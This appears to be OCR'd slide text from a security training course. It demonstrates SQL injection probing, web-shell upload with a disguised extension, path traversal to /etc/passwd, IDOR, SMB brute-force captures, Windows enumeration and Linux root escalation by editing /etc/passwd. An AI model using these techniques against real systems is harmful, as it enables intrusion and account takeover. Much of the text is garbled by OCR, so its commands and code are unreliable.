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http://site/news.php? /d=1 > Select * from table _name where /d=1

http://site/news.php? /d=1 q > Select * from table name where /d=1 q
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mysgl: describe users;

| intis)
| username | warchar(100)

| warchar{1000)
——————— +

3 rows in set (0.00 sec) ! http//SItE/ﬂEWSphpf)

mysgls select = from users where idzl;‘::::f::;7

e e +
| id | username | desc

http:// site/news.php?

1 row in set (0.00 sec)

mysgls select = from users where id=1 union select 1,Z2;
ERROR 1222 (Z1000%: The used SELECT statements have a different number of columns
mysol:

mysgls select = from users where id=1 union select 1,2,3; t:::;::)s

http:// site/news.php?

2 rows in set (0.00 sec)




Web Hack /sqQL |3/

s T /  xidv Qi 3¢ intl

£ v 0 X security.database.sql -injection.php

N\
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- <script type="text/javascript">
var validFilesTypes =["png", "jpg", "jpeg", "gif"];

function ValidateFile() {

var file = document.getElementByld("<%=FileUploadl.ClientID%>");

var filePath = file.value;

var ext = filePath.substring(filePath.lastindexOf(".") + 1, filePath.length).toLowerCase();

L var isValidFile = false;
) for (var i = 0; i < validFilesTypes.length; i++) {
JavaScript if (ext == validFilesTypesli]) {
v [ T isValidFile = true;
break; 1} }

if (lisValidFile) {
alert(" \n\n" + validFilesTypes.join(", "));

}

return isValidFile;

}

</script>
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HTTP
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POST
http://site/upload.php?action=save&amp;formID=Form&amp;objID=pic&amp;rnd=2015/5/25%2023:
28:59 HTTP/1.1

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Content-Type: multipart/form-data; boundary=---------------------------7df1d91e0234
Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Content-Length: 90759

Host: site

Pragma: no-cache

Cookie: JSession=B43DA7E6760C2EA28DB5822D2421C89F;

----------------------------- 7df1d91e0234

Content-Disposition: form-data;, name =i f i | e 0 ; ; filename=Ac99. php
Content-Type: text/plain

<?php

/IStarting calls

if ('function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ",
microtime()); return ((float)$usec + (float)$sec);}}

error_reporting(5);

@ignore_user_abort(TRUE);
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c99.php + wallpaper.jpg = wallpaper.php;.jpg

mime_content_type( Awal | p ap=zimagp/jphep ; .
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o http://site/private_msg.php? /id=1
http://site/private_msg.php? /d=100
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e http://site/download.php?  file=/upload/abc.rar

http://site/ download.php? fle=././././././etc/passwd
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Fi} org. springframework.jdbe. Uncategorized S G LException: StatermentCallback; uncategorized SCLExXception for QL [SELECT 1D,
TITLE, to_char{MOTIZE) MOTICE, PLUBLISH_DATE FROM C_ROTICE_view where ismessage=0 and(MOTICE like "%"% ' or TITLE
like "“%"%7], SGL state [HY0OO00]; error code [228325]; [BEA][Cracle JDBC Driver][Qracle]0RA-228345; Buffer too small for CLOB to CHAR
or BLOB to RAW comversion (actual; TOT 28, maximurm: 4000% ; nested exception is java.sgl.SCLEXception: [BEA][Qracle JDBC Driver]
[Dracle]ORA-2283%; Buffer tao small for CLOB to CHAR or BLOB to RAW conwversion (actual: 707283, maximum: 40003

more ==
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t Tho wmic useraccount get caption,sid

C:\Users>wmic useraccount get caption,sid

Caption SID
Comp\Administrator S-1-5-21-2256973234-4228750033-3446299212-500
Comp\Guest S-1-5-21-2256973234-4228750033-3446299212-501

Comp\HomeGroupUser$ S-1-5-21-2256973234-4228750033-3446299212-1002
Comp\python S-1-5-21-2256973234-4228750033-3446299212-1000
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C:\>cipher

C:A\

U alipay

U CFLog

U Downloads

U Program Files

U Program Files (x86)
U Python25

U Python27

U SWTOOLS
UTemp

E test.txt

U TimeEventNSIS.log
U UpdateChromeLinksLogs
U Users

U Windows

EFSI | |

EFS CJ vy
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C:\>cipher/x
PFX
python_cert.pfx
PEX

2015/5/26 11:51 Personal Inform...

ESAHH
BEES AT -

M F):

Dhpython cert. pfx

Al R .
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SMBI/CIFS j NTLM

¥Mware Yirtual Ethernet Adapter: Capturing - Wireshark

File Edit VYiew Go Capture Analyze Statistics Help ’

B W e e e 2@ x % 58R «»» 7 2| EE QQAQAD0| @D B X
Filter: l ¥ Expression... Clear Apply
Ho. . |Time |Saurce IDestination lProtocol |Info =
1 0.000000 S O B ey Sl b L AR TCP 2038 > nethios-ssn [SYMN] Seq=0 Len=0 MS5=1460
2 0.000543 A gy A oA SR EER R TCP. nethios-ssn > 2038 [SYN, ACK] Seq=0 Ack=l win=17520 |
3 0.000571 b b bl AR TCP 2038 > nethios-ssn [ACK] Seq=1 Ack=l Win=65535 Len=0
4 0.000616 § B R 1B B B ok NESS Session request, to ¥SMBSERVER<20> from MBBE<00>
5 0.000963 AR 008 A bR bR P NBSS Positive session response
6 0.001005 d e s s Al e e Hou b SMB Negot1ate Protocol Request
7 0.002478 o B B B o AR RS SMB Negot1ate Protocol Response -
8 0.002644 O R S P Sess 7 X Reguest, User: DREAMMadministrato
9 0.005477 1.1.1.101 A D B D SMB Session Setup Andx Response, Error: Access denied
10 0.005818 6 b i s TLAas 101 SMEB Session Setup Andx Request, User: DREAMMZNadministrato
11 0.006520 1.1.1.101 s b e SMB Session Setup AndX Response, Error: Access denied
12 0.006747 B Bk 1 B B B ok SMEB Session Setup Andx Request, User: DREAMMadministrato
13 0.007310 i gt kg K L 0 AV SMEB Session Setup Andx Response, Error: Access denied
14 0.007502 6 bz i s 1nAnAn101 SMEB Session Setup Andx Regquest, User: DREAMMNadministrato
15 0.007994 o b B B o AR SMEB Session Setup AndX Response, Error: Access denied
16 0.008172 AR 1 B B R ok SMB Session Setup Andx Reguest, User: DREAMMadministrato
17 0.008733 A AssAni0as A bt b SMB Session Setup AndX Response, Error: Access denied
18 0.008919 6 b i s iAol SMEB Session Setup AndxX Regquest, User: DREAMMZadministrato
19 0.009402 o B B B o ARSI SMEB Session Setup AndX Response, Error: Access denied
20 0.009575 B Bk 1 B B B ok SMEB Session Setup Andx Request, User: DREAMMadministrato
21 0.010052 g i K M 0 AL SR SMEB Session Setup AndxX Response, Error: Access denied
22 0.010223 6 b i s 1A 101 SMEB Session Setup Andx Request, User: DREAMMZNadministrato
22 0 M NAXT o P e S P o 5 J g s SMR Sessinn Seatin andy Resnnnse  Frror: access denied _'J
| _)_]
# Ethernet II, Src: vmware_c0:00:01 (00:50:56:¢0:00:01), Dst: vmware_ca:52:87 (00:0c:29:ca:52:87)
# Internet Protocol, Src: 1.1.1.7 (1.1.1.7), Dst: 1.1.1.101 ¢1.1.1.101)
# Transmission Control Protocol, Src Port: 2038 (2038), Dst Port: nethios-ssn (139), Seq: 241, Ack: 110, Len: 97
# MNetBIOS Session Service
[ SMB (Server Message Block Protocol)
# SMB Header
E Session Setup AndX Request (0x73)
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Zi A OxvsAzZT '

RFEE S 24,985 HFEEE 4 24985
EEl HERFEE =iE EEl HERFEE =iE
()58 2015/5/25 22:23:57 MySOL (I)EE 2014/11/3 16:36:43 Desktop Window Manager
(s 2015/5/25 22:23:57 MySQL (DS 2014/11/3 16:34:04 Windows Error Reporting
()58 2015/5/25 22:23:57 MySQL 0E= 2014/11/3 16:34:02 Application Error
— (I)=2 2014/11/3 16:29:40 Office Software Protection Platform Service
=4 100, MySQL - , :
@E@ 201471173 16:24:40 Office Software Protection Platform Service
= |#mess — — = ' — '
— Z=4 1000 , Application Error
Server hostname (bind-address): *'; port: 3306 =521 =2

For more information, see Help and Support Center at |'1_tt;|I ERAFATERFE: chrome.exe , fZ% 36.0.1985.143 , BTEEE: 0x53e2e515

St E=mR: chrome.dll , fgd: 36.0.1985.143 , BHEEE: 0x53e2elcy

RIS 0xc0000005

faiEmea: 0x00f21ffe

FERETE 1D: 0x790

=R HEFEREE: 0x01cH71545672373

B =R TR S C\Program Files (xB6)\Google\Chrome\Application\chrome.exe
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Windows @ 51 x W qq Autoruns
= Avtoruns SETEN K20 pOTT =S Er A et

File Entry Options WUser Help

= e Filter: | |
| & \Winsock Providers | iz3 Print Moritors | @ LSA Providers | L' Network Providers
2} Everything | é Logon | MJ Explorer | ‘ﬁ Internet Explorer | l,j Scheduled Tasks | % Services | Drrivers | Codecs | E Boot Execute | E In
Autarun Entry Description Publisher Image Path Timestamp
ﬁ HELMYSOFTWARE Microsoft \Windows\Curment Version Run 201543726 10:36
[m7] AdobeAAMUp... Adobe Updater Startup Uity Adobe Systems Incorporated  2\program files (c86)\common files'adobe'\nobe \pdapp uwa'\updaterstartuputility. exe 2012/3/25 6:45
£ baidusdTray ~ BHEFHIEER BEETTERSE A (K5 o \program files (86)\baidu’baidusd\3.0.0.4605 baidusdtray exe 2015/2/27 17:31
E Hoekey System-wide hotkey utility bCheck d:"toolg hoekey 116 \hoekey exe 2006/5/8 23:30
ISCT Tray ISCT SysTray Intel Corporation c:program fileshintel\intelr) smart connect technology agentisctsystray 8 exe 2014/4/4 5:55
'._:_f' Railendar Rainlendar2 c:program files (86} minlendar2rainlendar? exe 201373411 1:58
ﬂ] SynTPEnh Synaptics TouchPad G4-bit ... Synaptics Incorporated c:program filessynaptics \esyntp \eyntpenh exe 2014/4/8 1:50
ﬁ HELMYSOFTWARE Y Wow6E432Mode \Microsoft \Windows \Cument Version .Run 201573526 10:39
E AdobeC565er... Adobe C56 Service Manager Adobe Systems Incomporated o program files (86} \common files'\adobecsbzervicemanagercebservicemanager.exe 212/3/9 2325
¥ baidusdTray ~ BELRFHEER BETTEERIRHA (K. c\program files (¢86)\baidu’baidusd\3.0.0. 4605 baidusdtray exe 2015/2/27 17:31
] IMSS Ploon startup utilty Irtel Corporation c:program files fc86)hintel\intelir) management engine componentstimsas*\piconstartup exe 201376527 6:40
% ImterPass3000... certreq MFC Application ICBC OEM From Feitian Te... c:\program files {<86)\icbcebanktoolsfetianinterpass3000hcentd_nps3000_ichc exe 201478529 59:20
fg) iTunesHelper  iTunesHelper Apple Inc. cvprogram files (cB6) itunes ituneshelper exe 2014.10/15 18:56
[@] ™1 MiwiF e vamaram files RRVxianmimiwifimiwifimonitor exe A48 8 1602
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| 28

33

| ST

4

OxFFFFFB0004...
0xFFFFFB8001...
0xFFFFFB8001...
OxFFFFFB8001...
0xFFFFFB8000...
OxFFFFFE3001...
OxFFFFFBE00A...
OxFFFFFBE001...
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CreateProcess
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C:Wiindows'\system32\ntoskrnl. exe
C:\Windows\System32\Driversksecdd.sys
C\Windows\5ystem32\Driversicng.sys
C:Wiindows'\System32\drivers\topip. sys
C\windows\system324CI.dll
Cr\Windows\system32\DRIVERS \bd000 1.5ys
C:Wiindows'\system32\drivers'\peauth. sys
C\Windows\system32\DRIVERS \bd000 1.5ys
C:\Windows\system32\ntoskrnl. exe
C\Windows\system32\DRIVERS \bd000 1. 5ys
C\Windows\system32\DRIVERS\BDMWrench. sys
C\Windows\system32\DRIVERS \bd000 1.5ys
C:\Windows\system32\DRIVERS\BDArkit.sys
C\Windows\system32\driversndis.sys
C:Wiindows\system32\drivers\ndis.sys
C:\Windows\system32\driversindis.sys
C\Windows\system32\driversindis.sys
C:Wiindows\system32\driversindis.
C:\windows\system32\driversndis.
C\Windows\system32\driversindis.sys
C:Wiindows\system32\drivers\ndis.sys
C:\Windows\system32thal.dll
C:\Windows\system 32\drivers\Wdfd 1000.5ys
C:\Windows\system32\drivers\Wdfd 1000.sys
C\Windows\system32\drivers\Wdfd 1000.5ys
C:\Windows\system 324drivers\WdfD 1000.5ys
Cr\Windows\system32\DRIVERS adkmdéa4. sys
C\Windows\system32\DRIVERS \mouhid. sys
C:Wiindows\system32\DRIVER S kbdhid. sys
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UID=0 ¢ Xa& root

root@Sec:~# grep test /etc/passwd
test:x:1001:1001::/home/test:

root@Sec:~# id test

uid=1001(test) gid=1001(test) groups=1001(test)
root@Sec:.~# vim /etc/passwd

root@Sec:~# grep test /etc/passwd
test:x:0:1001::/home/test:

root@Sec:~# id test

uid=0(root) gid=1001(test) groups=0(root)



Linux Hack / passwd & shadow

/etc/passwd
nobody:x:99:99:Nobody:/:/sbin/nologin
:UID:GID: ; :shell
/letc/shadow
root:$13ldYmgH8ASUW,|6aj4a3Gn4KsrxWo0:13661:0:99999:7:::
Salt 4096
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root@Sec:~# Is -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 1212 526 23:20 /etc/passwd
-rW-I----- 1 root shadow 773 526 23:20 /etc/shadow
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r-o-n

root@Sec:~# df -i

Filesystem Inodes IUsed Ifree lUse% Mounted on
/devimapper/Sec-root 1228800 65834 1162966 6% /

none 126302 2 126300 1% /sys/fs/cgroup
udev 123510 488 123022 1% /dev

tmpfs 126302 543 125759 1% /run

none 126302 4 126298 1% /run/lock
none 126302 1 126301 1% /run/shm
none 126302 2 126300 1% /run/user

/dev/sdal 62248 298 61950 1% /boot
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Permission Bits

root@Sec:~# Is -l /etc/passwd

-rw-r--r-- 1 root root 1212 526 23:20 /etc/passwd
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PermissionBits q q un ©iSetUID

root@Sec:~# Is -l /usr/bin/passwd
-rwsr-xr-x 1 root root 47032 2 17 2014 /usr/bin/passwd
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PermissionBits qq v Pat1 J1° SetUID

root@Sec:~# find /usr /bin -perm -4000

/usr/bin/at /usr/lib/policykit-1/polkit-age nt-helper-1
/usr/bin/sudo {usr/lib/dbus-1.0/dbus-dae mon-launch-helper
/usr/bin/chfn /usr/lib/eject/dmcrypt-get-device
/usr/bin/pkexec /usr/lib/openssh/ssh-keysign
/usr/bin/newgrp /usr/lib/pt_chown

/usr/bin/mtr /bin/mount

/usr/bin/chsh /bin/su

/usr/bin/gpasswd /binfumount

/usr/bin/passwd /bin/fusermount
/usr/bin/traceroute6.ipultils /bin/ping6

/usr/sbin/pppd /bin/ping

/usr/sbin/uuidd



umask

[Foot@RHELS home]# umask
0022

[root@RHELS home]# touch filel
[root@RHELS homel# Is -l filel
-rw-r--r-- 1 root root 0 Jul 26 07:17 filel
(644)

[root@RHELS home]# umask 0066
[root@RHELS home]# touch file2
[root@RHELS homel# Is - file2
-rW------- 1 root root 0 Jul 26 07:18 file2
(600)
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[root@RHELS home]# umask 0

[root@RHELS home]# umask

0000

[root@RHELS home]# touch file3
[root@RHELS home]# Is -l file3

-rw-rw-rw- 1 root root 0 Jul 26 07:25 file3 (666)
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w=z el e qq /tmp

root@Sec:~# find / -perm -0777 -type d

/var/crash

tmp
frun/shm \

/run/lock A® Linux/UNIX A hépi777 e



